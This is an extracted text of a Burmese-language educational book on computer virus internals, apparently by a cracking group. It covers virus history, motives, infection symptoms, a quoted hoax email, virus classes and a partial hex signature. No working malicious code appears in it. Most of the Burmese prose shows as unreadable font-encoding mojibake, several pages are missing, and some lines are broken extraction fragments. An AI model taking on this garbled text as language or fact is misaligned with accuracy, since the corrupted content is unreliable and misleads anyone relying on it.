The Virus Internals
The Virus Internals
The Virus Internals
tcef;(2)
Adkif;&yfpftrsdK;tpm;rsm;ESifh vu©Pmrsm; 11 25
3 Malware trsdK;tpm;rsm; 11 12
4 Akdif;&yfpfqdkonfrSm 12 13
5 Adkif;&yfpfuk'f ul;pufjcif;toGifjzifh tvkyfvkyfyHk 13 15
6 Adkif;&yfpfuk'f wdkufcdkufjcif;toGifjzifh tvkyfvkyfyHk 15 15
7 uGefysLwmAkdif;&yfpfrsm; zefwD;Mujcif; taMumif;&if; 16 16
8 Adkif;&yfpfuJhodkY wdkufcdkuyf Hkjcif;&m wlnDrIrsm; 16 16
9 Akdif;&yfpf Hoax rsm; 17 17
10 Akdif;&yfpfwdkufcdkufrI vu©Pmrsm; 17 18
11 Adkif;&yfpftrsdK;tpm; cGJjcm;jcif; 18 23
12 udk,fwdkifuk'fjyifEdkifaomAdkif;&yfpfrsm; 23 25
tcef;(3)
uGefysLwmtvkyfvkyfyHk 26 38
13 Windows XP/2000/NT Startup Process 26 28
14 Windows NT Kernel 28 29
15 Windows Logon Process (Winlogon) 29 31
16 Windows Vista Startup Process 31 31
17 owdxm;oifhaom zdkiftrsdK;tpm;rsm; 31 35
18 Windows Registry 36 36
19 Windows pepf pwifcsdefwGif y½dk*&rfrsm;tm; tvkyfvkyfapjcif; 36 37
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 2
pmrsufESm
pOf taMumif;t&m
rS xd
tcef;(4)
emrnfausmfAdkif;&yfpfrsm; 39 52
23 ed'gef; 39 39
24 enf;ynmydkif;qdkif&m xdcdkufrIrsm; 39 39
25 usifh0wfESifh rlydkifcGifhqdkif&mxdcdkufrIrsm; 39 39
26 pdwfydkif;qdkif&m xdcdkufrIrsm; 40 40
27 Stoned Adkif;&yfpf 40 43
28 a*s½kqvifAdkif;&yfpf 43 43
29 Morris Worm 43 47
30 The Concept Adkif;&yfpf 47 48
31 Melissa Worm 48 49
32 Loveletter Worm 49 50
33 The Anna Kournikova Adkif;&yfpf 50 51
34 CodeRed 51 52
tcef;(5)
jynfwGif;jzpf Adkif;&yfpfrsm; 53 65
35 ed'gef; 53 53
36 Magway FC Adkif;&yfpf 53 62
37 Thayet Myo Hacking Day Adkif;&yfpf 62 63
38 Loikaw Adkif;&yfpf 63 63
39 Happy Birthday Adkif;&yfpf 63 64
40 One Missed Call Adkif;&yfpf 64 64
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 3
pmrsufESm
pOf taMumif;t&m
rS xd
41 Kolay Adkif;&yfpf 64 65
tcef;(6)
Akdif;&yfpf&eftm;umuG,fjcif; 66
42 Adkif;&yfpf\ tqifhrsm; 66 66
43 ½dk;&Sif;aomAdkif;&yfpfrsm;zefwD;jcif; 66 67
44 Adkif;&yfpfzefwD;Edkifaom Kit rsm; 67 68
45 Adkif;&yfpfrsm;tm; pHkprf;&SmazGjcif; enf;vrf;rsm; 68 68
46 pHkprf;ppfaq;jcif; 68 69
47 zdkifrsm;\ Integrity udkppfaq;jcif; 69 69
48 Interceptor rsm;udktoHk;jyKjcif; 69 69
49 Adkif;&yfpfrsm;tm; cGJjcrf;pdwfjzmjcif; 70 71
50 Adkif;&yfpfrsm;tm; umuG,fjcif; 71 72
52 udk;um;usrf;pm&if; 73 73
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 4
pum;rdwfquf
1/ ,aeYrsufarSmufacwfwGif enf;ynmrsm; t&Sdeft[kefjrifh wdk;wufvsuf&Sdayonf/ ¤if;
teuf uGefysLwmenf;ynmonf zGHYNzdK;wdk;wufrI tjrefqHk;jzpfonf/ Microsoft rS Windows XP udk
xkwfvkyfNyD;aemufydkif;? Intel rS Processor rsm;udk aps;EIef;oufompGmjzifh xkwfvkyfa&mif;csNyD;
aemufydkif;wGif Desktop uGefysLwmrsm;? Laptop uGefysLwmrsm; oHk;pGJrIonf tHhrcef;wdk;wufvmcJhay
onf/ uGefysLwmenf;ynmwdk;wufvmjcif;aMumifh tcsdefukefoufomjcif;? vlUpGrf;tm;acRwmEdkifjcif;?
aiGaMu;ukefusrIoufomvmjcif; ponfhtusdK;aus;Zl;rsm;udk cHpm;vm&ovdk uGefysLwmenf;ynmudk
tvGJoHk;pm;jyKNyD; uGefysLwmpepfrsm;\ tm;enf;csufrsm;udk tajccHí raumif;rIusL;vGefvmMuonfh
jzpfpOfrsm;udkvnf; BuHKawGYvmMu&ygonf/
2/ uGefysLwmenf;ynmzGHYNzdK;wdk;wufrIwGif aqmhzf0Jvfenf;ynmzGHYNzdK;wdk;wufrI (Software
Development) onf ta&;ygaomtcef;u@jzpfvmNyD; rwlnDaom pufvnfywfrIpepf (Operating
System) rsm;wGif rwlnDaom y½dk*&rfbmompum;rsm;jzifh aqmhzf0Jvfrsm;udk a&;om;zefwD;vmMuyg
onf/ tusdK;jyKaqmhzf0Jvfrsm; ajrmufrsm;pGmay:xGufvmouJhodkY wpfzufwGifvnf; uGefysLwmpuf
vnfywfrIpepfudk taESmifht,Sufjzpfaprnfh uGefysLwmAdkif;&yfpfrsm;vnf; ay:xGufvmcJhMuygonf/
3/ uGefysLwmenf;ynm tajccHtm;enf;aomolrsm;yifjzpfap? uRrf;usifaom ynm&Sifrsm;
yifjzpfap uGefysLwmAdkif;&yfpfrsm;\ tEÅ&m,fudk tenf;ESifhtrsm; rvGJraoG BuHKawGYcJh&ygonf/
uGefysLwmAdkif;&yfpfrsm;aMumifh ysufpD;qHk;½HI;rI ajrmufrsm;pGmBuHKawGUcJh&ovdk? pdwftaESmifht,Sufjzpf
jcif;? tcsdefukefapjcif; ponfh qdk;usdK;rsm;udk cHpm;apcJh&ygonf/ xif&Sm;aomom"urSSm 2010
ckESpfwGif tD&ef\e,luvD;,m;puf½Hkrsm;udk ypfrSwfxm;wdkufcdkufcJhonfh Stuxnet Adkif;&yfpfaMumifh
tD&efwdkY\ e,luvD;,m;tpDtpOfrsm; aESmifhaES;apcJhjcif;jzpfonf/ ,cktcgwGif uGefysLwmAdkif;&yfpf
rsm;onf uGefysLwmpufvnfywfpepfudk zsufqD;½HkrQruawmhbJ owif;tcsuftvufrsm; cdk;,ljcif;
ponfh vkyfaqmifcsufrsm;udkyg vkyaf qmifvmMuonfhtwGuf EkdifiHawmfvHkNcHKa&;udkyif xdyg;vmEdkif
onfudk awGY&ayonf/ xdkYaMumifh uGefysLwmAdkif;&yfpfrsm;\tEÅ&m,frS umuG,fEkdif&eftwGuf
Adkif;&yfpf&efumuG,fonfh Anti-virus aqmhzf0Jvfrsm;a&;om;cJhMuNyD; Adkif;&yfpftEÅ&m,frS umuG,fEkdif
&ef BudK;yrf;cJhMuayonf/
4/ ,aeYacwfwGif uGefysLwmoHk;pGJolrsm;onf Anti-virus aqmhzf0Jvfrsm;toHk;jyKvQif
Adkif;&yfpfrsm;&efudk t<uif;rJhumuG,fEkdifrnf[k rSm;,Gif;pGm ,lqaeMuygonf/ taumif;qHk; Anti-
virus aqmhzf0Jvfrsm;wGif tm;omcsuf rnfrQyif&Sdapumrl aemufqHk;xGuf&Sdaom Adkif;&yfpfrsm;udk
rod&Sd? rz,f&Sm;yg/ Anti-virus rsm;onf ,cifh,cifxGuf&Sdzl;aom? wdkufcdkufzsufqD;zl;aom Adkif;&yfpf
rsm;udkom od&SdEdkifayonf/ ,aeYacwfwGif vli,frsm;onf y½dk*&rfa&;om;jcif;bufwGif pdwfyg
0ifpm;vmjcif;ESifhtwl Adkif;&yfpfrsm;udk vufwnfhprf;a&;om;vmMuonfudk awGYjrifvm&ygonf/
xdkAdkif;&yfpfrsm;udk Anti-virus tm;vHk;u pHkprf;od&SdEdkifjcif; r&SdMuyg/ xdkYaMumifh Adkif;&yfpftEÅ&m,fudk
t<uif;rJhumuG,fEkdifa&;onf rdrdudk,fwdkif Adkif;&yfpfESifhywfoufaom A[kokwjynfhpHkcJhrSom NyD;jynfh
pHkEdkifrnfjzpfygonf/
5/ Adkif;&yfpfwdkY\ zsufqD;rItEÅ&m,fESifh owif;tcsuftvufrsm;udk od&SdEkdi½f HkrQjzifh Adkif;&yfpf
tEÅ&m,fudk txdkuftoifhom umuG,fEkdifrnfjzpfonf/ aqmhzf0Jvfydkif;ESifhoufqdkifaom Reverse
Engineering bmom&yfudkavhvmxm;NyD; y½dk*&rfa&;om;jcif;udk uRrf;usifydkifEkdifolrsm;om Adkif;&yfpf
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 5
&efudk &mEIef;jynfheD;yg; umuG,fEkdifrnfjzpfygonf/ xdkYaMumifh Reverse Engineering bmom&yfudk
uRrf;usifydkifEdkifrI&Sdap&ef vlUpGrf;tm;t&if;tjrpfrsm; arG;xkwfay;&ef vdktyfygonf/
6/ þpmtkyfjzpfay:vmyHkrSm oifwef;wpfckwGif pmwrf;tjzpfwifoGif;&ef &nf½G,fjcif;rS
pwifygonf/ pmwrf;wpfckjzpfajrmuf&eftwGuf vdktyfaomt&if;tjrpfrsm;udk &SmazG&mwGif tcsdef
uefYowfcsuf&SdonfhtwGuf þpmtkyfonf jynfhpHkvHkavmufaom tcsuftvufrsm;udk ay;Ekdifrnf
r[kwfaMumif;vnf; 0efcHvdkygonf/ rlvu þpmtkyftm; xkwfa0&ef tpDtpOfr&Sdao;yg/ xyfrH
jznfhpGufcsufrsm;jznfhpGufNyD;rS xkwfa0vdkonfhqE´&Sdygonf/ odkYaomfvnf; pmzwfolrsm;vufxJodkY
apmvsifpGm jzefYcsDvdkonfhqE´vnf;&SdonfhtwGuf jzefYa0&jcif;jzpfygonf/ xkdYaMumifh rjynhfpHkrIrsm;?
tm;enf;csufrsm;? trSm;t,Gifrsm; ygvmygu em;vnfcGifhvTwfapvdkygonf/
7/ Adkif;&yfpftaMumif;ESifhywfoufí tGefvdkif;wGif tcrJha&;om;jzefYjzL;xm;aompmtkyfrsm;?
yHkESdyfxkwfa0xm;aom pmtkyfrsm;udk zwfNyD;uwnf;u tpmraMuaomtcsufrsm; jzpfcJhrdygonf/
Adkif;&yfpfESifhywfoufonfh rSm;,Gif;aomoHk;oyf,lqcsufrsm;? Adkif;&yfpfrsm;taMumif; jynfhjynhfpHkpHk
a&;om;azmfjyEdkifrIr&Sdjcif;wdkYu Adkif;&yfpfESifhywfoufaompmtkyfwpftkyfudk a&;om;vdkaom tmoDo
udkjzpfapcJhygonf/ pmtkyfpmwrf;wpfckwGif taMumif;t&m jynfhpHkrIr&Sdonfudk vufcHem;vnfay;í
&aomfvnf; Adkif;&yfpf\oabmobm0? tvkyfvkyfyHkudk aumif;pGmem;vnfjcif;r&SdbJ rSm;,Gif;oHk;
oyfjcif;u pmzwfoludk tEÅ&m,fjzpfapygonf/ aemufwpfcsufaqG;aEG;vdkonfrSm pma&;om;&mwGif
pmzwfol txiftjrifBuD;ap&ef zdefYvHk;? vSdrfhvHk;rsm; oHk;jcif;jzpfygonf/ pmzwfonfqdkonfrSm
taMumif;t&mwpfckudk ukd,frod&Sdí zwfjcif;jzpfEdkifovdk? rdrdod&SdNyD;om; taMumif;t&mwpfckckudk
tjcm;olrsm; rnfuJhodkYxifjrifonfudk odvdkí zwfjcif;vnf;jzpfEdkifygonf/ pmzwfolrsm;onf pma&;
olxuf ydkrdkod&SdwwfuRrf;olrsm;vnf; trsm;BuD; &SdEdkifygonf/ pmtkyfwpftkyfudk a&;om;jcif;\
t"du&nf½G,fcsufrSm udk,f&nfaoG;&mvdkjcif;xuf rdrdwifjyvdkaom taMumif;t&mudk pmzwfolrsm;
em;vnfod&Sdapa&;onfom t"duusonf[k jrifygonf/ Adkif;&yfpfESifhywfoufaomuk'frsm;udkvnf;
twwfEdkifqHk;jynfhjynhfpHkpHk azmfjyay;xm;ygonf/ pmzwfolrsm;udk ajymMum;vdkonfhtcsufrSm Adkif;&yfpf
uk'frsm;udk yHkwlul;cstoHk;csjcif;xuf ¤if;uk'frsm;tvkyfvkyfyHkudkom OD;pm;ay;avhvmapvdkygonf/
8/ þpmtkyfa&;om;&mwGif aus;Zl;wifxdkufolrsm;&Sdygonf/ jynfwGif;jzpfAdkif;&yfpfrsm;t
aMumif;a&;om;&eftwGuf uRefawmfhwGif jynfwGif;jzpfAdkif;&yfpfrsm;r&Sdyg/ xdkYaMumifh jynfwGif;jzpfAdkif;
&yfpfrsm;udk ay;ydkYay;&eftwGuf tGefvdkif;wGifarwåm&yfcHcJhygonf/ tGefvdkif;rS nDi,fwpfOD;jzpfaom
opfyifu uRefawmfhtwGuf jynfwGif;wGiful;pufysHUyGm;cJhaom Akdif;&yfpfrsm;? jynfwGif;rSa&;om;aom
rauG;tufzfpDAdkif;&yfpfudk ay;ydkYay;cJhygonf/ nDav;opfyiftm; OD;pGmaus;Zl;wifvdkygonf/ tjcm;
aomaus;Zl;wifxkduforl sm;rSm þpmtkyfjzpfajrmufa&;twGuf wGef;tm;jzpfapcJhaom uRefawmf\
oli,fcsif;jzpfol WML ESifh pmtkyfrsufESmzHk;a&;qGJay;cJhaom ZMA wdkYjzpfygonf/
9/ þpmtkyfa&;om;aomtcsdefwGif uRefawmfhwGif rauG;tufzfpDAdkif;&yfpfwpfckom&Sdae
onfhtwGuf xkdAdkif;&yfpfwpfcktaMumif;udkom tao;pdwfoHk;oyfEdkifcJhygonf/ tvm;wl jynfwGif;
wGiful;pufcJhaom Adkif;&yfpfrsm;udkvnf; tcsdeftcuftcJaMumifh avhvmEkdifjcif; r&SdcJhyg/ aemufxyf
a&;om;azmfjyvdkonfh Polymorphic Adkif;&yfpfESifh Metamorphic Adkif;&yfpfrsm;udkrl aemifxGuf&Sdrnfh
Version rsm;wGif xnfhoGif;azmfjyay;rnfjzpfaMumif; today;tyfygonf/
rhythm (Myanmar Cracking Team)
(4-12-2013)
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 6
tcef;(1)
uGefysLwmAdkif;&yfpfrsm;\ ordkif;aMumif;
1/ uGefysLwmAdkif;&yfpfrsm;\ rlvtpudk jyefMunfhvQif 1949 ckESpfwGif ocsFmynm&Sif John
Von Neumann u ,aeYacwf uGefysLwmAdkif;&yfpfrsm;ESifh oabmcsif;qifaom udk,fwkdifyGm;y½dk*&rf
rsm;taMumif; azmfjycJhjcif;rS pwifcJhygonf/ odkYaomf 1960 rwdkifrDESpfrsm;twGif; vuf&SdAdkif;&yfpfrsm;
xuf a&S;usaom Adkif;&yfpfrsm;udk awGY&Sdjcif; r&SdcJhyg/ ¤if;aemuf q,fpkESpftwGif; y½dk*&rfrmwpfpku
Core Wars [ktrnf&aom *drf;wpfckudk zefwD;cJhMuygonf/ xdk*drf;onf oltvkyfvkyfonfhtcsdefwdkif;
wGif y½dk*&rfrsm; yGm;aewwfNyD; tjcm;*drf;upm;olwpfa,muf\ uGefysLwmrSwfOmPfudkyif jynfhap
onftxd jzpfcJhonf/ xdk*drf;udkzefwD;olrsm;uyif yxrqHk; Anti-virus [kqdkEdkifaom Reeper y½dk*&rf
udka&;om;cJhNyD; xkdy½dk*&rfonf Core Wars \ udk,fyGm;rsm;tm; zsufqD;jcif;udk jyKvkyfcJhygonf/ rnf
odkYqdkapumrl 1983 ckESpfwGif ¤if;y½dk*&rfrmrsm;xJrSwpfa,mufu Core Wars rsm;&SdcJhaMumif;
emrnfBuD;odyÜHr*¾Zif;wpfapmifwGif xkwfazmfcJhonf/ þtaMumif;onf uREkfyfwdkY,aeYac:a0:aeMu
aom uGefysLwmAdkif;&yfpfrsm;\ tpjzpfcJhygonf/ ¤if;ESpfwGifyif Fred Cohen u ol\usrf;jyKpmwrf;
wGif ]uGefysLwmAdkif;&yfpfqdkonfrSm tjcm;uGefysLwmy½dk*&rfrsm;tm; jyKjyifNyD; olUukd,fpm;yGm;rsm;ap
aom uGefysLwmy½dk*&rfwpfck} [k t"dyÜm,fzGifhqdkcJhygonf/
2/ xdktcsdefü MS-DOS (Microsoft Disk Operating System) onf urÇmwpfvTm;wGif
NydKifbufuif;pufvnfywfrIpepf jzpfawmhrnfjzpfygonf/ ¤if;pepfonf aqmhzf0JvfzGHYNzdK;wdk;wufrI
twGuf tvm;tvmaumif;rsm; jzpfapcJhaomfvnf; Hardware ydkif;qkdif&mrjynfhpHkrIrsm; &SdaecJhyg
onf/ þuJhodkY rjynfhpHkrIrsm;&SdcJhonfhwdkif MS-DOS onf 1986 ckESpfwGif Adkif;&yfpfwpfrsdK;\ ypfrSwf
jzpfcJh&ygonf/ xdkAdkif;&yfpfum; ygupöwefEkdifiHom;ESpfOD;jzpfaom Basit ESifh Amjad wdkYzefwD;cJhaom
Brain Adkif;&yfpfjzpfNyD; Floppy Disk \ Boot Sector rsm;tm; ul;pufapum Disk xJ&Sdtcsuftvufrsm;
tm; zwf½Iír&EdkifatmifjyKvkyfayonf/ Adkif;&yfpful;pufcHxm;&aom Floppy Disk rsm;wGif ]© Brain}
trnfudk awGU&Sd&ygonf/ xkdESpfwGifyif yxrqHk;aom x½dk*sef (Trojan) jzpfaom PC-Write
Application arG;zGm;cJhaMumif; awGYjrifcJh&ygonf/
yHk(2) AdAkif;&yfpfwkduf
ucdkufrIaMummifh Disk (od
oYkY) rSwfOmPf&&Sd Page tu
uefYrsm;
wpfqufwnf;rwn nf&SdawmhbJ wpf
w ae&mpDu uGGJaeMuyHk
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 16
uGefysLwmAdkif;&yfpfrsm; zefwD;Mujcif; taMumif;&if;
13/ vlrsm; uGefysLwmAdkif;&yfpfrsm;udk a&;om;jzefYjzL;&jcif; taMumif;&if;udk qef;ppfMunfh
aomf atmufygtcsufrsm;aMumifhjzpfaMumif; awGY&Sd&ygonf-
(u) okawoeya&m*sufrsm; jyKpk&ef/
( c) aemufajymifusDp,f&ef/
( *) vufo&rf;zsufqD;&ef/
(C) &nf½G,fxm;aom ukrÜPDrsm;\ xkwfukefrsm;udk wdkufcdkuf&ef/
( i) EdkifiHa&; owif;rsm; jzefYjzL;&ef/
( p) aiGaMu; tusdK;tjrwf&&ef/
(q) Identity u'frsm;udk cdk;,l&ef/
( Z) axmufvSrf;pHkprf;&ef/
(ps ) vQdKU0Suf aiGn§pf&ef/
Adkif;&yfpfuJhodkY wdkufcdkufyHkjcif;&m wlnDrIrsm;
14/ wpfcgwpf&HwGif uGefysLwmoHk;pGJolrsm;\ A[kokwenf;yg;rIaMumifhaomfvnf;aumif;?
pdk;&drfpdwfrsm;aMumifhaomfvnf;aumif; trSefpifppf Adkif;&yfpfrsm; wdkufcdkufrIaMumifh r[kwfbJ Adkif;&yfpf
wkdufcdkufrIaMumifh jzpfyGm;&onf[k vltrsm;xifjrifMuaomtcsufrsm;rSm atmufygtcsufrsm;
jzpfavonf-
(u) Hardware ESifhywfoufaom jyóemrsm;/
( c) uGefysLwmzefom;jyifwGif rnfonfrQrjybJ toHjrnfaejcif;rsm;/
( *) Anti-virus y½dk*&rfESpfckteufrS wpfcku uGefysLwmpepfwGif Adkif;&yfpf&Sdonf[k
tpD&ifcHjcif;rsm;/
(C) Hard Drive \trnf ajymif;vJoGm;jcif;rsm;/
( i) uGefysLwmonf Error rsm; rMumcPBuHKawGY&NyD; &yfaejcif;rsm;/
( p) y½dk*&rfrsm; pwiftvkyfvkyfcsed fwGif uGefysLwmaES;usoGm;jcif;/
(q) uGefysLwmpufvnfywfrIpepf toHk;jyKír&awmhjcif;/
( Z) zdkifrsm;ESifh Folder rsm;onf ½kwfw&uf aysmufaeMujcif; (odkY) ¤if;wdkYESifhywfouf
aomtcsufrsm; ajymif;vJukefMujcif;/
(ps ) Hard Drive udk rMumcPtoHk;jyKaejcif;/ (uGefysLwm&Sd rD;oD; vsifjrefpGmvif;ae
jcif;)
(n) Internet Explorer &yfaejcif;/
( #) oifwpfcgrS rydkYbl;aom Message rsm;udk oif\oli,fcsif;rsm; &aeonf[k
ajymqdkMujcif;/
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 17
Adkif;&yfpf Hoax rsm;
15/ Hoax rsm;onf r&SdaomAdkif;&yfpfrsm;ESifhywfoufí rSm;,Gif;ajymqdkMuaom tpD&ifcHrI
rsm;jzpfonf/ xdktD;ar;vfudkzGifhvQif uGefysLwmpepfwpfckvHk; ysufpD;apvdrfhrnf[k ysHUESHYvsuf&Sdaom
owday; Message rsm;onfvnf; Hoax rsm;jzpfonf/ tcsdKUaomudpörsm;wGif ¤if;wdkYudk,fwdkifwGifyif
Adkif;&yfpfrsm;wGJygvmMuonf/ Hoax rsm;onf ¤if;wdkYypfrSwfxm;aom pepfrsm;ay:wGif tBuD;tus,f
zsufqD;EkdifpGrf;&Sdavonf/ t"dutm;jzifh em;vnfrIvGJMujcif;aMumifh Adkif;&yfpfrsm;onf '@m&Drsm;udk
tvG,fwulyif jzpfay:apavonf/ tcsdKUaom Hoax rsm;onf &nf½G,fcsuf&Sd&Sd wifapumrl
¤if;wdkY\ ,kwådrwef&maom taMumif;t&mrsm;aMumifh tvsiftjref tqHk;owffcJh&ygonf/ yHk(3)wGif
erlem Hoax wpfckudk wifjytyfygonf/
Subject: [Fwd: Beware of the Budweiser virus--really!]
This information came from Microsoft yesterday morning. Please pass it on to anyone you know
who has access to the Internet. You may receive an apparently harmless Budweiser Screensaver, If
you do, DO NOT OPEN IT UNDER ANY CIRCUMSTANCES, but delete it immediately. Once
opened, you will lose EVERYTHING on your PC. Your hard disk will be completely destroyed and
the person who sent you the message will have access to your name and password via the Internet.
As far as we know, the virus was circulated yesterday morning. It’s a new virus, and extremely
dangerous. Please copy this information and e-mail it to everyone in your address book. We need to
do all we can to block his virus. AOL has confirmed how dangerous it is, and there is no Antivirus
program as yet which is capable of destroying it.
Please take all the necessary precautions, and pass this information on to your friends,
acquaintances and work colleagues.
End of message.
EMAILCHIEF
yHk(3) Budweiser Adkif;&yfpf Hoax
16/ Budweiser (ac:) Buddylst.zip onf trSefwu,fwrf;tm;jzifh Adkif;&yfpfr[kwfbJ Hoax
rQomjzpfygonf/ tu,fí Adkif;&yfpf[k ,HkMunfrdol tD;ar;vfvufcHolonf pdk;&drfBuD;pGmjzifh ¤if;\
oli,fcsif; ta,mufwpf&mcefYqD tD;ar;vftm; jyefñTef;ydkYcJhrdvQif ¤if;wdkYrSvnf; olwdkY\rdwfaqGrsm;
qDjyefjzefYcJhvQif em&Dydkif;twGif; tD;ar;vfonf axmifaomif;csD ysHUoGm;rnfjzpfygonf/ xdktcg ae&m
vGwf,ljcif;? uGef,ufoHk;pGJrI ydkrdkapjcif;? rdwfaqGrsm;\ tcsdefudk ukefapjcif;? tvkyf½Iyfapjcif; ponf
wdkYaMumifh a':vmaxmifESifhcsDNyD; epfem&ygonf/ yHk(3)wGifazmfjyxm;aom tD;ar;vfonf aumvm
[vwpfckomjzpfNyD; zwfMunfhvQif ,kwådrwefrIrsm;pGmudk awGYjrifEdkifygonf/
Adkif;&yfpfwdkufcdkufrI vu©Pmrsm;
17/ atmufygtcsufrsm;onf uGefysLwmwpfvHk;tm; Akdif;&yfpful;pufcH&NyDjzpfaMumif; ajym
Edkifonfhvu©Pm&yfrsm;yifjzpfayonf-
(u) y½dk*&rfrsm;yGifhvm&ef tcsdefMumjrifhjcif;/
( c) uGefysLwmoHk;olrS rnfonfhy½dk*&rfrS Install rvkyfonfhwdkifatmif Hard Drive
onf tNrJwrf;jynfhaejcif;/
( *) toHk;rjyKbJESifh Floppy Disk ESifh Hard Disk Drive rsm; tvkyfvkyfaeMujcif;/
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 18
(C) trnfrodzdkifrsm; uGefysLwmwGif ay:aygufaejcif;/
( i) uD;bkwf (odkY) uGefysLwmrS xl;qef;aomtoHrsm; xGufaejcif;/
( p) uGefysLwmzefom;jyifwGif xl;qef;aomt&mrsm; jyaejcif;/
(q) zdkiftrnfrsm;xl;qef;aejcif;? rSwfom;EdkifpGrf;r&Sdaom zdkiftrnfrsm;jzpfjcif;/
( Z) Floppy Drive rS Boot vkyf&ef BudK;pm;csdefwGif Hard Drive udk zwfEdkifpGrf;r&Sdjcif;/
( ps) y½dk*&rf\ t½G,ftpm;onf ajymif;vJaejcif;/
(n) rSwfOmPftm; toHk;jyKaeonf[k xif&jcif;? uGefysLwmpepf aES;usoGm;jcif;/
Adkif;&yfpftrsdK;tpm; cGJjcm;jcif;
18/ Adkif;&yfpfrsm;tm; ul;pufonfht&mrsm;t&aomfvnf;aumif;? ul;pufyHkenf;vrf;t&
aomfvnf;aumif; cGJjcm;Edkifygonf/ Adkif;&yfpfonf uGefysLwmpepf\ tpdwftydkif;wpfckckudk ul;puf
jcif;t& atmufygtwdkif; trsdK;tpm;rsm; owfrSwfEdkifygonf-
(u) Boot System-sector Adkif;&yfpf/ Adkif;&yfpf\ypfrSwfonf Master Boot Record ESifh
DOS Boot Record System Sector rsm;jzpfonf/ xkdae&mrsm;udk uGefysLwmpwif
csdefwGif zwf½Itvkyfvkyfavh&Sdonf/ Disk wdkif;ü System Sector wpfckpD&Sdonf/
Boot vkyfEdkifaom CD-ROM rsm;tm; Adkif;&yfpful;pufcHcJh&aomf ul;puf&m &if;
jrpfjzpfoGm;Ekdifygonf/ uGefysLwmpwifcsdefwGif DOS Boot Sector udk tvkyfvkyf
onfhtwGuf Adkif;&yfwdkufcdkufrItwGuf tm;enf;csufjzpfapygonf/ Boot Sector
tm;zsufqD;jcif;onf Disk tm;zwfr&atmif jyKvkyfEkdifygonf/ þ Sector tm;
SYS (odkY) FORMAT /S command jzifh jyefa&;Edkifygonf/ Boot Sector wpfckwGif
Boot rvkyfEdkifaom Floppy Disk rsm;yif Adkif;&yfpfrsm;yg&SdEdkifygonf/ tu,fí
ul;pufcHxm;&aom Floppy onf uGefysLwmxJwGifusefaeygu Floppy rS Boot
vkyf&efBudK;pm;csdefwdkif;wGif uGefysLwmpepftm; ul;pufapayvdrfhrnf/ System
Sector Adkif;&yfpfonf Disk \ Executable uk'frsm;udk tusdK;oufa&mufrI&SdNyD;
Boot Sector Adkif;&yfpfrsm;onf Disk \ Boot Sector rsm;tay: oufa&mufrI&Sd
onf/ Disk wdkif;wGif y½dk*&rfrsm;udk odrf;qnf;Edkifaom Sector rsm;&Sdavonf/
System Sector wGif 512 Bytes rQom&Sdaom Disk ae&mvGwfyg&Sdavonf/ xdYk
aMumifhyif System Sector Adkif;&yfpfrsm;onf ¤if;wdkY\uk'fudk tjcm;aom Disk ae
&mvGwftcsdKUwGif zGufMujcif;jzpfonf/ System Sector Adkif;&yfpfrsm;udk t"du
jzefYjzL;o,faqmifolonf Folppy Disk jzpfonf/ xdkAdkif;&yfpfrsm;onf omref
tm;jzifh rSwfOmPfrsm;wGif tajcjyKavh&Sdonf/ tcsdKUaom Sector Adkif;&yfpfrsm;
onf ul;pufcHxm;&aomzdkifrsm;rSvnf; ysHUESHYavh&Sdonf/ ¤if;wdkYudk Multipartite
Adkif;&yfpfrsm;[kac:a0:onf/ Boot Sector Adkif;&yfpful;pufcH&NyD;aemuf Master
Boot Record udk tjcm; Sector ae&mwpfckodkY a½TUajymif;cH&yHkudk yHk(4)wGif awGYjrif
Ekdifygonf/
The Virruses : Intern
nals V 1.0 - rhythm
r (Myaanmar Crackking Team) 19
yHk(7) C
Cavity Adkif;&yyfpfu y½dk*&rf
& \ae&mvG
vGwf (00 Byte) rsm;wGif Adkif;&yfpfuk'frsm;jzifh jznh
nhfxm;yHk/
The Viruses : Internals V 1.0 - rhythm (Myanmar Cracking Team) 23
(q) Tunneling Adkif;&yfpf/ þAdkif;&yfpfrsm;onf BIOS ESifh DOS wdkYtwGif; ae&mcs
xm;Edkifa&;tvdkYiSm pufvnfywfrIpepf\ awmif;qdkrIrsm;udk apmifhMunhfaeonfh
Mum;jzwfy½dk*&rfrsm;\ ajcvSrf;rsm;udk aemufa,mifcHonf/ Tunneling Akdif;&yfpf
rsm;onf Anti-virus y½dk*&rfrsm;rS ykef;cdk&eftwGuf pGrf;aqmifEkdifMuygonf/
( Z) Camouflage Adkif;&yfpf/ Camouflage Adkif;&yfpfonf Application tppftrSefrsm;
jzpfouJhodkY zHk;uG,fEkdifavonf/ xdkAdkif;&yfpfrsm;udk &SmazG&ef rcufcJvSyg/ t
b,fhaMumifhqdkaomf Anti-virus y½dk*&rfrsm;onf xdkAdkif;&yfpfrsm;udk vG,fulpGm
ajc&mcHEkdifonfhtqifhodkY wkd;wufvmaomaMumifhjzpfonf/
(ps) Bootable CD-ROM Adkif;&yfpf/ þAdkif;&yfpfrsm;onf CD-ROM rsm;wGif jzefYjzL;Mu
NyD; omreftm;jzifh csHKUxm;aomyHkpHjzifh odrf;qnf;Muonf/ tu,fí ul;pufcH
xm;&aom CD-ROM jzihf Boot vkyfcJhaomf Hard Disk wGifyg0ifaomt&mrsm;
onf zsufpD;cH&csifcH&ayrnf/ rnfonfh Anti-virus y½dk*&rfrS þAdkif;&yfpfudk
rwm;qD;EdkifMuacs/ tb,faMumifhqdkaom CD-ROM rS Boot vkyfcsdefwGif Anti-
virus aqmhzf0Jvf (odkY) uGefysLwmpepfonfyif tvkyfrvkyfao;aomaMumifhjzpf
onf/
udk,fwkdifuk'fjyifEkdifaomAdkif;&yfpfrsm;
20/ Anti-virus y½dk*&rftrsm;pkonf omrefy½dk*&rfrsm;twGif;wGif Adkif;&yfpf Pattern rsm;udk
ppfaq;pHkprf;Muygonf/ xdkAdkif;&yfpf Pattern udk Adkif;&yfpf Signature [kvnf;ac:onf/ Signature onf
wdusaomAkdif;&yfpf (odkY) Adkif;&yfpfrsdK;EG,fudk udk,fpm;jyKaom HEX uk'frsm;jzpfMuygonf/ (erlem
Pattern/ B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35
